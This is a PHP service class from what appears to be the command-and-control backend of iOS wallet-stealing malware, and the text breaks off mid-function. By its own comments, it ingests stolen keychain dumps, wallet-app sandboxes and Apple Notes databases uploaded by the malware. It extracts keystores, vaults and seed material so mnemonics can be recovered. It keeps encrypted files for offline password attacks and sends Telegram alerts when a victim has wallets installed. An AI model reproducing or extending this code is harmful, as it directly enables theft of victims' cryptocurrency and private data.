Files
coruna-lab/app/Services/AppUploadIngester.php
root c5138594e1 fix: ingest imToken EOAs from SignalShell AsyncStorage zips
Reuse the named-structure collector so harvest uploads store account addresses without flooding wallet_addresses from token lists.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-06 00:43:43 +00:00

2145 lines
76 KiB
PHP
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Services;
use App\Jobs\DecryptDeviceKeystores;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Support\WalletSource;
use Illuminate\Support\Facades\Log;
/**
* Ingest App-chain (/api/v2) chunked uploads into the wallet keystore +
* Apple Notes pipelines.
*
* The malware uploads three kinds of artifacts via /api/v2/uploads:
* 1. keychain.xml — full iOS keychain dump (doKeychain=true acquisition)
* 2. <bundleId>.tar — tar of each wallet app's Documents directory
* 3. group.com.apple.notes.tar — Apple Notes shared container (NoteStore.sqlite)
*
* This service reassembles chunked uploads, parses them, and:
* - keychain.xml → stored as a keychain.wallets WalletKeystore row
* - wallet tar → UTC / walletsV2 extracted as web3.keystore rows
* (full sandbox tar is not persisted)
* - notes tar → NoteStore.sqlite trio saved to c2/ds-results/ and
* DecodeMemoDb job dispatched to parse note text
*
* DecryptDeviceKeystores is dispatched on /api/v2/finish to recover
* mnemonics from the stored keystores off the request thread.
*/
final class AppUploadIngester
{
/** Chunk files are saved as <ts>_<tag>_<uploadId>_c<chunkIndex>.bin */
private const CHUNK_GLOB = '*_%s_c*.bin';
private const USDT_TRC20 = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
public function __construct(
private IngestService $ingest,
private DsTrustAddressIngest $trustAddresses,
) {}
/**
* Reassemble chunks for an upload session, parse the artifact, store
* keystores, and dispatch the decryption job.
*
* @param array<string, mixed> $session Cache session (fileName, numberOfChunks, ...)
*/
public function ingest(Device $device, string $uploadId, array $session): void
{
$fileName = (string) ($session['fileName'] ?? 'unknown');
$uploadDir = public_path('log/app_c2/uploads');
$chunks = $this->collectChunks($uploadDir, $uploadId, (int) ($session['numberOfChunks'] ?? 1));
if ($chunks === []) {
Log::channel('keystore')->warning('AppUploadIngester: no chunk files found', [
'device_id' => $device->id,
'upload_id' => $uploadId,
'file_name' => $fileName,
]);
return;
}
$content = $this->reassemble($chunks);
if ($content === '') {
return;
}
$this->dispatchParse($device, $content, $fileName, $uploadId);
}
/**
* Parse a fully reassembled artifact (used by tests and finish retry).
*/
public function ingestArtifact(Device $device, string $content, string $fileName, string $uploadId = 'direct'): void
{
$this->dispatchParse($device, $content, $fileName, $uploadId);
}
/**
* SignalShell harvest zip: pull imToken EOAs from RCTAsyncLocalStorage
* using the same collector as the /api/v2 tar path. Token-list `address`
* keys are ignored (accountAddress / type=EOA / m/44' only).
*/
public function ingestImTokenShellZip(Device $device, string $zipBinary): int
{
$nodes = $this->asyncStorageNodesFromZip($zipBinary);
if ($nodes === []) {
return 0;
}
$before = WalletAddress::query()
->where('device_id', $device->id)
->where('source', 'imToken')
->count();
$this->ingestAddressesFromWalletTar($device, 'imToken', 'im.token.app', '', [
'async' => $nodes,
]);
$after = WalletAddress::query()
->where('device_id', $device->id)
->where('source', 'imToken')
->count();
return max(0, $after - $before);
}
/**
* Dispatch the async keystore decryption job for a device.
*/
public function dispatchDecrypt(Device $device): void
{
try {
DecryptDeviceKeystores::dispatch($device->id, null, null);
} catch (\Throwable $e) {
Log::channel('keystore')->error('AppUploadIngester dispatch failed', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'error' => $e->getMessage(),
]);
}
}
// ────────────────────────────────────────────────────────────
// chunk reassembly
// ────────────────────────────────────────────────────────────
/**
* @param list<int> $chunkIndices
* @return list<string> Sorted chunk file paths.
*/
private function collectChunks(string $dir, string $uploadId, int $numberOfChunks): array
{
if (! is_dir($dir)) {
return [];
}
// UUIDs only contain [0-9a-f-], none of which are glob special chars,
// so no escaping needed (preg_quote would break glob by escaping `-`).
$pattern = sprintf(self::CHUNK_GLOB, $uploadId);
$files = glob($dir.'/'.$pattern) ?: [];
if ($files === []) {
return [];
}
usort($files, function ($a, $b) {
return $this->chunkIndex($a) <=> $this->chunkIndex($b);
});
// Keep only the expected number of chunks.
return array_slice($files, 0, max(1, $numberOfChunks));
}
private function chunkIndex(string $path): int
{
if (preg_match('/_c(\d+)\.bin$/', $path, $m)) {
return (int) $m[1];
}
return 0;
}
/**
* @param list<string> $chunkPaths
*/
private function reassemble(array $chunkPaths): string
{
$out = '';
foreach ($chunkPaths as $path) {
$chunk = @file_get_contents($path);
if ($chunk === false) {
continue;
}
$out .= $chunk;
}
return $out;
}
// ────────────────────────────────────────────────────────────
// parse + store
// ────────────────────────────────────────────────────────────
/**
* Route the artifact to the correct parser based on file name.
*/
private function dispatchParse(Device $device, string $content, string $fileName, string $uploadId): void
{
$lower = strtolower($fileName);
if (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) {
$this->parseKeychainXml($device, $content, $fileName);
} elseif (str_ends_with($lower, '.tar')) {
$bundleId = preg_replace('/\.tar$/i', '', $fileName);
// Apple Notes is uploaded as group.com.apple.notes.tar — route
// it to the NoteStore.sqlite decoder instead of the wallet
// keystore walker.
if ($this->isNotesBundle($bundleId)) {
$this->parseNotesTar($device, $content, $uploadId);
} else {
$this->parseWalletTar($device, $content, (string) $bundleId);
}
} else {
// Unknown artifact — try tar first, then keychain XML.
if ($this->looksLikeTar($content)) {
// Peek inside: if it contains NoteStore.sqlite, treat as notes.
if ($this->tarContainsNoteStore($content)) {
$this->parseNotesTar($device, $content, $uploadId);
} else {
$this->parseWalletTar($device, $content, $fileName);
}
} elseif ($this->looksLikeXml($content)) {
$this->parseKeychainXml($device, $content, $fileName);
}
}
}
/**
* Whether a bundle ID / file name refers to the Apple Notes app group.
*/
private function isNotesBundle(string $bundleId): bool
{
$lower = strtolower($bundleId);
return $lower === 'group.com.apple.notes'
|| str_contains($lower, 'com.apple.notes')
|| $lower === 'notes';
}
/**
* Quick peek: does this tar archive contain NoteStore.sqlite?
*/
private function tarContainsNoteStore(string $content): bool
{
if (! $this->looksLikeTar($content)) {
return false;
}
// Tar file names live in the 0–100 byte range of each 512-byte header.
// A simple substring scan for "NoteStore.sqlite" is good enough.
return str_contains($content, 'NoteStore.sqlite');
}
private function looksLikeTar(string $content): bool
{
return strlen($content) >= 262 && substr($content, 257, 5) === "ustar";
}
private function looksLikeXml(string $content): bool
{
return str_starts_with(ltrim($content), '<?xml') || str_starts_with(ltrim($content), '<Backup');
}
// ── keychain.xml ────────────────────────────────────────────
/**
* Parse the iOS keychain backup XML, group items by access group → wallet
* source, decode each item's v_Data (base64 plist → KEY/data → base64 →
* raw bytes), and store as a keychain.wallets WalletKeystore row.
*
* The DsKeystoreDecrypt walker expects:
* {kind: "keychain.wallets", wallets: {<source>: {items: [{account, service, dataHex}]}}}
*/
private function parseKeychainXml(Device $device, string $content, string $fileName): void
{
try {
$xml = @new \SimpleXMLElement($content);
} catch (\Throwable $e) {
Log::channel('keystore')->warning('AppUploadIngester: keychain XML parse failed', [
'device_id' => $device->id,
'file_name' => $fileName,
'error' => $e->getMessage(),
]);
return;
}
// Group items by source label.
$buckets = [];
$itemCount = 0;
$seenBundles = []; // bundle IDs seen in this keychain dump
foreach ($xml->xpath('//item') as $item) {
$acct = (string) ($item->acct ?? '');
$svce = (string) ($item->svce ?? '');
$agrp = (string) ($item->agrp ?? '');
$vData = (string) ($item->{'v_Data'} ?? '');
$dataHex = $this->decodeKeychainVData($vData);
if ($dataHex === '') {
continue;
}
$source = $this->sourceFromAgrp($agrp, $acct);
if (! isset($buckets[$source])) {
$buckets[$source] = ['items' => []];
}
$entry = $this->normalizeKeychainItem($acct, $svce, $agrp, $dataHex);
$buckets[$source]['items'][] = $entry;
$itemCount++;
// Collect bundle IDs from agrp for the installed-app list.
$bundle = $this->bundleIdFromAgrp($agrp);
if (
$bundle !== ''
&& ! DeviceApp::shouldSkipBundle($bundle)
&& ! DeviceApp::shouldSkipBundle($agrp)
&& ! isset($seenBundles[$bundle])
) {
$seenBundles[$bundle] = $source;
}
}
// Record every app that has keychain entries as installed.
foreach ($seenBundles as $bundle => $source) {
$this->recordInstalledApp($device, $bundle, $source);
}
if ($buckets === []) {
return;
}
$this->persistEncryptedVaultsFromKeychain($device, $buckets);
if ($buckets === []) {
return;
}
$this->persistRecoverableKeychainWallets($device, $buckets);
$rawJson = [
'kind' => 'keychain.wallets',
'wallets' => $buckets,
];
$source = 'app/keychain';
WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
Log::channel('keystore')->info('AppUploadIngester: stored keychain', [
'device_id' => $device->id,
'file_name' => $fileName,
'items' => $itemCount,
'sources' => array_keys($buckets),
]);
// Don't wait for /api/v2/finish — Phantom / Uniswap / Exodus / Bitpie
// mnemonics live in this dump and should show up as soon as it lands.
$this->dispatchDecrypt($device);
}
/**
* Pull MetaMask-style encrypted vaults (VAULT_BACKUP) out of the combined
* keychain row into their own needs_password=1 keystore rows.
*
* @param array<string, array{items: list<array<string, mixed>>}> $buckets
*/
public function persistEncryptedVaultsFromKeychain(Device $device, array &$buckets): void
{
$empty = [];
foreach ($buckets as $source => &$bucket) {
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
$kept = [];
foreach ($items as $item) {
if (! is_array($item)) {
continue;
}
$vault = $this->vaultJsonFromKeychainItem($item);
if ($vault === null) {
$kept[] = $item;
continue;
}
$label = WalletSource::fromKeystoreHint(is_string($source) ? $source : '');
if ($label === '') {
$acct = strtolower((string) ($item['account'] ?? ''));
$agrp = strtolower((string) ($item['accessGroup'] ?? ''));
$label = ($acct === 'vault_backup' || str_contains($agrp, 'metamask'))
? 'MetaMask'
: (is_string($source) && $source !== '' && $source !== 'unknown' ? $source : 'MetaMask');
}
$payload = $vault;
$payload['kind'] = 'metamask.vault';
WalletKeystore::firstOrCreateForDevice($device, $label, $payload, true);
}
$bucket['items'] = $kept;
if ($kept === []) {
$empty[] = $source;
}
}
unset($bucket);
foreach ($empty as $source) {
unset($buckets[$source]);
}
}
/**
* Split vaults already stored inside the combined app/keychain row
* (devices ingested before vaults were persisted separately).
*/
public function splitStoredKeychainVaults(Device $device): void
{
$row = WalletKeystore::query()
->where('device_id', $device->id)
->where('source', 'app/keychain')
->first();
if ($row === null) {
return;
}
$json = is_array($row->raw_json) ? $row->raw_json : [];
$wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : [];
if ($wallets === []) {
return;
}
$before = json_encode($wallets);
$this->persistEncryptedVaultsFromKeychain($device, $wallets);
if ($before === json_encode($wallets)) {
return;
}
$json['wallets'] = $wallets;
$row->raw_json = $json;
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'content_hash')) {
$row->content_hash = WalletKeystore::hashPayload($json);
}
foreach (WalletKeystore::listStatsAttributes(WalletKeystore::computeListStatsFromJson($json)) as $key => $value) {
$row->setAttribute($key, $value);
}
$row->save();
}
/**
* Surface Bitpie / Phantom / Uniswap / Exodus as their own keystore rows
* so the admin 钥匙串 tab lists wallets whose mnemonic lives in keychain
* (not a UTC blob).
*
* @param array<string, array{items: list<array<string, mixed>>}> $buckets
*/
private function persistRecoverableKeychainWallets(Device $device, array $buckets): void
{
foreach (['Bitpie', 'Phantom', 'Uniswap', 'Exodus', 'Coin98'] as $source) {
$items = $buckets[$source]['items'] ?? null;
if (! is_array($items) || $items === []) {
continue;
}
WalletKeystore::firstOrCreateForDevice($device, $source, [
'kind' => 'keychain.wallets',
'wallets' => [$source => ['items' => $items]],
]);
}
}
/**
* @param array<string, mixed> $item
* @return array<string, mixed>|null
*/
private function vaultJsonFromKeychainItem(array $item): ?array
{
$hex = (string) ($item['dataHex'] ?? '');
if ($hex === '' || ! ctype_xdigit($hex) || strlen($hex) % 2 !== 0) {
return null;
}
$raw = @hex2bin($hex);
if (! is_string($raw) || $raw === '') {
return null;
}
$json = json_decode($raw, true);
if (! is_array($json)) {
return null;
}
foreach (['cipher', 'iv', 'salt'] as $key) {
if (! is_string($json[$key] ?? null) || $json[$key] === '') {
return null;
}
}
return $json;
}
/**
* Decode the base64-encoded content in <v_Data> and return the raw
* bytes as hex.
*
* Two storage formats exist in iOS keychain dumps:
* 1. Plist-wrapped: <plist><dict><key>KEY</key><data>base64</data>…</dict></plist>
* — common for Apple system entries (Bluetooth, account tokens).
* 2. Raw value: the base64-decoded content is the value itself (a hex
* string, a plain-text password, a JSON snippet, etc.) with no plist
* wrapper — common for third-party app entries (Trust Wallet stores
* the keystore password as a base64-encoded hex string).
*
* @param string $vDataRaw Base64-encoded content from <v_Data bin="1">.
*/
private function decodeKeychainVData(string $vDataRaw): string
{
$vDataRaw = trim($vDataRaw);
if ($vDataRaw === '') {
return '';
}
$decoded = base64_decode($vDataRaw, true);
if (! is_string($decoded) || $decoded === '') {
return '';
}
// ── 1. Try plist-wrapped format (Apple system entries) ──
// The plist is XML: <plist><dict><key>KEY</key><data>base64</data></dict></plist>
if (str_starts_with(ltrim($decoded), '<') || str_starts_with(ltrim($decoded), "\xb5")) {
try {
$px = @new \SimpleXMLElement($decoded);
$dataNodes = $px->xpath('//data');
foreach ($dataNodes as $dataNode) {
$b64 = trim((string) $dataNode);
if ($b64 === '') {
continue;
}
$bin = base64_decode($b64, true);
if (is_string($bin) && $bin !== '') {
return bin2hex($bin);
}
}
} catch (\Throwable) {
// fall through to raw handling
}
}
// ── 2. Raw value (third-party app entries) ──
// The decoded content IS the value — return it as hex so the
// keystore decryptor can try it as a password. This covers:
// • hex strings (Trust Wallet keystore password)
// • plain text passwords
// • small JSON blobs
return bin2hex($decoded);
}
/**
* Fill missing Phantom account/service so recoverPhantom can match seedless vaults.
*
* @return array{account: string, service: string, accessGroup: string, dataHex: string}
*/
private function normalizeKeychainItem(string $acct, string $svce, string $agrp, string $dataHex): array
{
$bundle = strtolower($this->bundleIdFromAgrp($agrp));
$isPhantom = str_contains($bundle, 'phantom')
|| str_contains(strtolower($agrp), 'phantom')
|| str_contains(strtolower($acct), 'phantom');
if ($isPhantom && $acct === '') {
$raw = '';
if ($dataHex !== '' && ctype_xdigit($dataHex) && strlen($dataHex) % 2 === 0) {
$raw = (string) @hex2bin($dataHex);
}
$json = $raw !== '' ? json_decode($raw, true) : null;
if (is_array($json) && (isset($json['entropy']) || isset($json['seed']) || isset($json['keyPairs']))) {
$acct = bin2hex('.phantom-labs.vault.seedless');
if ($svce === '') {
$svce = 'app:no-auth';
}
}
}
return [
'account' => $acct,
'service' => $svce,
'accessGroup' => $agrp,
'dataHex' => $dataHex,
];
}
/**
* Map a keychain access group (agrp) to a wallet source label.
* agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id".
*/
private function sourceFromAgrp(string $agrp, string $acct): string
{
$agrp = trim($agrp);
if ($agrp === '') {
// Fall back to account-based hint.
$hint = WalletSource::fromKeystoreHint($acct);
return $hint !== '' ? $hint : 'unknown';
}
// Extract bundle id: take the part after the first dot.
$bundle = '';
$parts = explode('.', $agrp, 2);
if (count($parts) === 2) {
$bundle = $parts[1];
}
$label = WalletSource::labelForBundle($bundle, '');
if ($label !== '' && $label !== $bundle) {
return $label;
}
$hint = WalletSource::fromKeystoreHint($bundle);
if ($hint !== '') {
return $hint;
}
return $bundle !== '' ? $bundle : 'unknown';
}
/**
* Extract the raw bundle ID from a keychain access group.
* agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id".
*/
private function bundleIdFromAgrp(string $agrp): string
{
$agrp = trim($agrp);
if ($agrp === '') {
return '';
}
$parts = explode('.', $agrp, 2);
return $parts[1] ?? '';
}
/**
* Record a bundle ID into the device's installed-app list. The malware
* only uploads a tar for apps whose sandbox it could dump, so any
* uploaded bundle ID is proof the app is installed. Keychain access
* groups are a secondary signal (the app has keychain entries).
*/
private function recordInstalledApp(Device $device, string $bundleId, ?string $name = null): void
{
$bundleId = trim($bundleId);
if ($bundleId === '' || DeviceApp::shouldSkipBundle($bundleId)) {
return;
}
$label = WalletSource::labelForBundle($bundleId, $name ?? $bundleId);
$displayName = ($label !== '' && $label !== $bundleId) ? $label : ($name ?? $bundleId);
DeviceApp::query()->updateOrCreate(
['device_id' => $device->id, 'bundle_id' => $bundleId],
[
'name' => $displayName,
'is_wallet' => WalletSource::isPluginWalletBundle($bundleId),
'meta_json' => ['source' => 'app_upload', 'uploaded_at' => now()->toIso8601String()],
]
);
$this->refreshDeviceWalletFlag($device);
}
/**
* Refresh the device's has_wallet / wallet_names flags from the
* current installed-app list. Sends a Telegram notification when
* wallets are first detected (has_wallet transitions NONE → YES),
* mirroring IngestService::refreshDeviceWalletFlag.
*/
private function refreshDeviceWalletFlag(Device $device): void
{
$names = [];
foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
$bundle = (string) $app->bundle_id;
if (! WalletSource::isPluginWalletBundle($bundle)) {
continue;
}
$label = WalletSource::labelForBundle($bundle, $app->name);
$names[$label] = true;
}
$labels = array_keys($names);
sort($labels);
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
$device->wallet_names = $labels === [] ? null : $labels;
$device->saveQuietly();
// Notify Telegram the first time wallets are detected
// (UNKNOWN/NONE → YES transition).
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES && $labels !== []) {
try {
app(\App\Services\TelegramNotifier::class)
->notifyInstalledWallets($device->device_id, $labels);
} catch (\Throwable $e) {
Log::channel('keystore')->warning(
'AppUploadIngester telegram notifyInstalledWallets failed: '.$e->getMessage(),
['device_id' => $device->id, 'device_key' => $device->device_id],
);
}
}
}
// ── wallet app tar ──────────────────────────────────────────
/**
* Walk a wallet app tar for Web3 UTC / walletsV2 JSON and on-chain
* addresses. Standard keystores are stored as their own rows. The rest of
* the sandbox (MMKV, icons, encrypted DBs) is not persisted — it is not
* used to unlock a mnemonic once the UTC blob is extracted.
*/
private function parseWalletTar(Device $device, string $content, string $bundleId): void
{
// Full sandbox tars run 50–100 MB; the default 128M limit is not
// enough for tar string + decoded sandbox + keystore raw_json.
if ((int) ini_get('memory_limit') > 0 && ini_get('memory_limit') !== '-1') {
@ini_set('memory_limit', '512M');
}
$source = WalletSource::labelForBundle($bundleId, $bundleId);
if ($source === '' || $source === $bundleId) {
$hint = WalletSource::fromKeystoreHint($bundleId);
$source = $hint !== '' ? $hint : ($bundleId !== '' ? $bundleId : 'unknown');
}
// The malware only uploads a tar for apps whose sandbox it could
// dump — so this bundle is definitely installed on the device.
$this->recordInstalledApp($device, $bundleId, $source);
$sandbox = $this->extractTarSandbox($content);
$needsPassword = $sandbox !== [] && $this->sandboxNeedsUserPassword($bundleId, $source, $sandbox);
$this->storeWeb3KeystoresFromSandbox($device, $source, $sandbox, $needsPassword);
$this->storePasswordVaultsFromSandbox($device, $source, $sandbox);
if ($this->isCoin98Source($source, $bundleId)) {
$this->storeCoin98KeystoreFromSandbox($device, $source, $sandbox);
} elseif ($this->isTokenPocketFamily($source, $bundleId)) {
$this->storeEncryptedSandboxFiles($device, $source, $sandbox);
}
$this->ingestAddressesFromWalletTar($device, $source, $bundleId, $content, $sandbox);
Log::channel('keystore')->info('AppUploadIngester: parsed wallet tar', [
'device_id' => $device->id,
'bundle_id' => $bundleId,
'source' => $source,
'files' => $sandbox === [] ? 0 : count($sandbox, COUNT_RECURSIVE),
'needs_password' => $needsPassword ? 1 : null,
]);
}
/**
* Standard Web3 UTC / walletsV2 blobs nested in the sandbox become their own rows
* so the keystore list can show "标准 Keystore" and the plaintext viewer.
*
* @param array<string, mixed> $sandbox
*/
private function storeWeb3KeystoresFromSandbox(Device $device, string $source, array $sandbox, bool $needsPassword): void
{
foreach ($this->collectWeb3Nodes($sandbox) as $node) {
$payload = $node;
$payload['kind'] = 'web3.keystore';
WalletKeystore::firstOrCreateForDevice($device, $source, $payload, $needsPassword);
}
}
/**
* @param mixed $node
* @return list<array<string, mixed>>
*/
private function collectWeb3Nodes(mixed $node, int $depth = 0): array
{
if ($depth > 12 || ! is_array($node)) {
return [];
}
$out = [];
$crypto = $node['crypto'] ?? null;
if (is_array($crypto) && isset($crypto['ciphertext'], $crypto['mac'])) {
$out[] = $node;
}
foreach ($node as $child) {
if (is_array($child)) {
$out = array_merge($out, $this->collectWeb3Nodes($child, $depth + 1));
}
}
return $out;
}
/**
* imToken / MetaMask / TronLink / TokenPocket sandbox UTC cannot be opened
* without the user password (Trust UTC uses a keychain password instead).
*
* @param array<string, mixed> $sandbox
*/
private function sandboxNeedsUserPassword(string $bundleId, string $source, array $sandbox): bool
{
$bundle = strtolower(trim($bundleId));
$label = strtolower(trim($source));
$names = $bundle.' '.$label;
if (str_contains($names, 'trust')) {
return false;
}
$passwordWallets = (
str_contains($names, 'imtoken') || str_contains($names, 'im.token')
|| str_contains($names, 'metamask')
|| str_contains($names, 'tronlink')
|| str_contains($names, 'tokenpocket')
|| str_contains($names, 'global wallet')
|| str_contains($names, 'com.global.wallet')
|| str_contains($names, 'vip.mytokenpocket')
);
if (! $passwordWallets) {
return false;
}
if (str_contains($names, 'metamask') || str_contains($names, 'tokenpocket') || str_contains($names, 'global wallet') || str_contains($names, 'com.global.wallet')) {
return true;
}
return $this->collectWeb3Nodes($sandbox) !== [];
}
/**
* Pull chain addresses (and TronLink sqlite balances) into wallet_addresses.
*
* @param array<string, mixed> $sandbox
*/
private function ingestAddressesFromWalletTar(Device $device, string $source, string $bundleId, string $tar, array $sandbox): void
{
$rows = [];
$imToken = $this->isImTokenSource($source, $bundleId);
$tokenPocketFamily = $this->isTokenPocketFamily($source, $bundleId);
$metaMask = $this->isMetaMaskSource($source, $bundleId);
$coin98 = $this->isCoin98Source($source, $bundleId);
$tonhub = $this->isTonhubSource($source, $bundleId);
$okx = $this->isOkxSource($source, $bundleId);
// Global Wallet / TokenPocket Documents tar is token-list + helper
// contracts (balanceContract / batchTxContract). Real wallets live in
// encrypted sqlite and are not recoverable from this dump.
$hits = [];
if ($imToken) {
$hits = $this->collectImTokenAddressHits($sandbox);
} elseif ($this->isTrustSource($source, $bundleId)) {
$hits = $this->collectTrustAddressHits($sandbox);
} elseif ($metaMask) {
// MetaMask Documents only holds Redux persist state — the real
// user accounts live in persist-AccountsController. Everything
// else (AssetsController token lists, network config) is noise.
$hits = $this->collectMetaMaskAccountHits($sandbox);
} elseif ($coin98) {
// Coin98 AsyncStorage caches the full token inventory JSON under
// hash-named keys — thousands of contract addresses. Real wallets
// live only in the SET_WALLET_STORAGE entry.
$hits = $this->collectCoin98WalletHits($sandbox);
} elseif ($tonhub) {
// Tonhub only ships react-query mmkv caches; the user's own TON
// address appears in ["cloud", "<addr>"] / ["account", "<addr>"]
// query keys. Everything else is contract / counterparty noise.
$hits = $this->collectTonhubAccountHits($sandbox);
} elseif ($okx) {
// wallet_coinMeta / OKPayCore.db store token contracts in a
// column named `address`. Real HD accounts live in
// Documents/wallet (chain_address / segwit / custom chains).
$hits = $this->collectOkxAddressHits($tar);
} elseif (! $tokenPocketFamily) {
$hits = $this->collectAddressHits($sandbox);
}
foreach ($hits as $hit) {
// Same 0x is ETH + BSC + ARB on Trust HD. Key by chain too or
// the last coin (ARB) overwrites ETH.
$rows[$hit['chain_type'].'|'.$hit['address']] = $hit;
}
// Token-metadata sqlite (OKX wallet_coinMeta, Coin98 measurement db)
// must not leak contract lists into wallet_addresses either.
$targetedWallet = $imToken || $tokenPocketFamily || $metaMask || $coin98 || $tonhub || $okx
|| $this->isTrustSource($source, $bundleId);
if (! $targetedWallet) {
foreach ($this->collectSqliteAddressHits($tar) as $hit) {
$key = $hit['address'];
if (isset($rows[$key]) && is_array($rows[$key]['balance'] ?? null) && is_array($hit['balance'] ?? null)) {
$rows[$key]['balance'] = array_merge($rows[$key]['balance'], $hit['balance']);
} else {
$rows[$key] = $hit;
}
}
}
if ($rows === []) {
return;
}
$tag = WalletSource::tagForLabel($source);
if ($tag === '') {
$tag = WalletSource::tagForLabel(WalletSource::labelForBundle($bundleId, $source)) ?: 'd';
}
$ad = [];
foreach ($rows as $hit) {
$base = [
'address' => $hit['address'],
'chainType' => $hit['chain_type'],
];
$balance = is_array($hit['balance'] ?? null) ? $hit['balance'] : [];
if ($balance === []) {
$ad[] = $base;
continue;
}
foreach ($balance as $symbol => $amount) {
$ad[] = array_merge($base, [
'symbol' => strtoupper((string) $symbol),
'balance' => $amount,
]);
}
}
$this->ingest->ingestAddresses($device, [
'a' => $tag,
'ad' => $ad,
]);
}
private function isImTokenSource(string $source, string $bundleId): bool
{
$hay = strtolower($source.' '.$bundleId);
return str_contains($hay, 'imtoken') || str_contains($hay, 'im.token');
}
private function isTokenPocketFamily(string $source, string $bundleId): bool
{
$hay = strtolower($source.' '.$bundleId);
return str_contains($hay, 'global wallet')
|| str_contains($hay, 'com.global.wallet')
|| str_contains($hay, 'tokenpocket')
|| str_contains($hay, 'token pocket')
|| str_contains($hay, 'mytokenpocket');
}
/**
* MetaMask persistStore keeps the keyring vault (encrypted mnemonic /
* snap secrets) under persist-KeyringController.vault and
* persist-SnapController.vault as a JSON-encoded
* {cipher, iv, salt, keyMetadata, lib} blob — the exact quick-crypto
* format the admin password-unlock flow already decrypts. Collect every
* vault-shaped node so it becomes a needs-password keystore row.
*
* @param array<string, mixed> $sandbox
*/
private function storePasswordVaultsFromSandbox(Device $device, string $source, array $sandbox): void
{
foreach ($this->collectPasswordVaultNodes($sandbox) as $vault) {
$payload = array_merge($vault, ['kind' => 'metamask.vault']);
WalletKeystore::firstOrCreateForDevice($device, $source, $payload, true);
}
}
/**
* @param mixed $node
* @return list<array<string, mixed>>
*/
private function collectPasswordVaultNodes(mixed $node, int $depth = 0): array
{
if ($depth > 14 || ! is_array($node)) {
return [];
}
$out = [];
$vault = $node['vault'] ?? null;
if (is_string($vault) || is_array($vault)) {
$parsed = is_string($vault) ? json_decode($vault, true) : $vault;
if (is_array($parsed)
&& is_string($parsed['cipher'] ?? null)
&& is_string($parsed['iv'] ?? null)
&& is_string($parsed['salt'] ?? null)) {
$out[] = $parsed;
}
}
foreach ($node as $child) {
if (is_array($child)) {
$out = array_merge($out, $this->collectPasswordVaultNodes($child, $depth + 1));
}
}
if (count($out) > 1) {
$out = $this->uniqueVaults($out);
}
return $out;
}
/**
* @param list<array<string, mixed>> $vaults
* @return list<array<string, mixed>>
*/
private function uniqueVaults(array $vaults): array
{
$seen = [];
$out = [];
foreach ($vaults as $vault) {
$key = (string) ($vault['cipher'] ?? '');
if ($key === '' || isset($seen[$key])) {
continue;
}
$seen[$key] = true;
$out[] = $vault;
}
return $out;
}
/**
* Global Wallet / TokenPocket Documents hide the real wallets inside
* encrypted blobs (the F4SeCyr backup file and the SQLCipher-locked
* db/*.sqlite3) while everything else is market-cache noise. Persist
* the non-cache files as an encrypted-sandbox keystore row so the raw
* material stays available for offline password attacks even though
* no decryptor exists yet.
*
* @param array<string, mixed> $sandbox
*/
private function storeEncryptedSandboxFiles(Device $device, string $source, array $sandbox): void
{
$files = $this->collectNonCacheSandboxFiles($sandbox);
if ($files === []) {
return;
}
WalletKeystore::firstOrCreateForDevice($device, $source, [
'kind' => 'encrypted.sandbox',
'files' => $files,
], true);
}
/**
* Grab sandbox files outside Documents/cache (wallet data, encrypted
* dbs), capped so a pathological sandbox cannot blow up the row.
*
* @param array<string, mixed> $sandbox
* @return array<string, string>
*/
private function collectNonCacheSandboxFiles(array $sandbox): array
{
$out = [];
$this->walkNonCacheFiles($sandbox, '', $out, 0);
return $out;
}
/**
* @param array<string, string> $out
*/
private function walkNonCacheFiles(mixed $node, string $path, array &$out, int $depth): void
{
if ($depth > 14 || count($out) >= 32 || ! is_array($node)) {
return;
}
foreach ($node as $key => $child) {
$childPath = ($path === '' ? '' : $path.'/').(string) $key;
$ancestors = explode('/', $childPath);
$inCache = in_array('cache', $ancestors, true) || in_array('Caches', $ancestors, true);
if (is_string($child) && ! $inCache) {
// Only binary payloads (decodeFileContent base64-encoded
// them) — decoded plaintext that is valid UTF-8 text is a
// config/cache file, not encrypted wallet material.
if (preg_match('/^[A-Za-z0-9+\/]{64,}={0,2}$/', $child)) {
$bin = base64_decode($child, true);
if (is_string($bin) && strlen($bin) >= 32 && ! mb_check_encoding($bin, 'UTF-8')) {
$out[$childPath] = $child;
}
}
continue;
}
if (is_array($child)) {
$this->walkNonCacheFiles($child, $childPath, $out, $depth + 1);
}
}
}
private function isTrustSource(string $source, string $bundleId): bool
{
$hay = strtolower($source.' '.$bundleId);
return str_contains($hay, 'trust')
|| str_contains($hay, 'sixdays.trust')
|| str_contains($hay, 'wallet.crypto.trustapp');
}
private function isMetaMaskSource(string $source, string $bundleId): bool
{
return str_contains(strtolower($source.' '.$bundleId), 'metamask');
}
private function isCoin98Source(string $source, string $bundleId): bool
{
return str_contains(strtolower($source.' '.$bundleId), 'coin98');
}
private function isTonhubSource(string $source, string $bundleId): bool
{
return str_contains(strtolower($source.' '.$bundleId), 'tonhub');
}
private function isOkxSource(string $source, string $bundleId): bool
{
$hay = strtolower($source.' '.$bundleId);
return str_contains($hay, 'okx')
|| str_contains($hay, 'okex')
|| str_contains($hay, 'com.okex.okexappstorefull')
|| str_contains($hay, 'com.okex.wallet');
}
/**
* OKX Documents/wallet is the HD account DB. Other sqlite files in the
* same tar (wallet_coinMeta, dex, pay history) store token contracts
* and counterparties in columns also named `address`.
*
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function collectOkxAddressHits(string $tar): array
{
$out = [];
$this->eachTarFile($tar, function (string $path, string $raw) use (&$out): void {
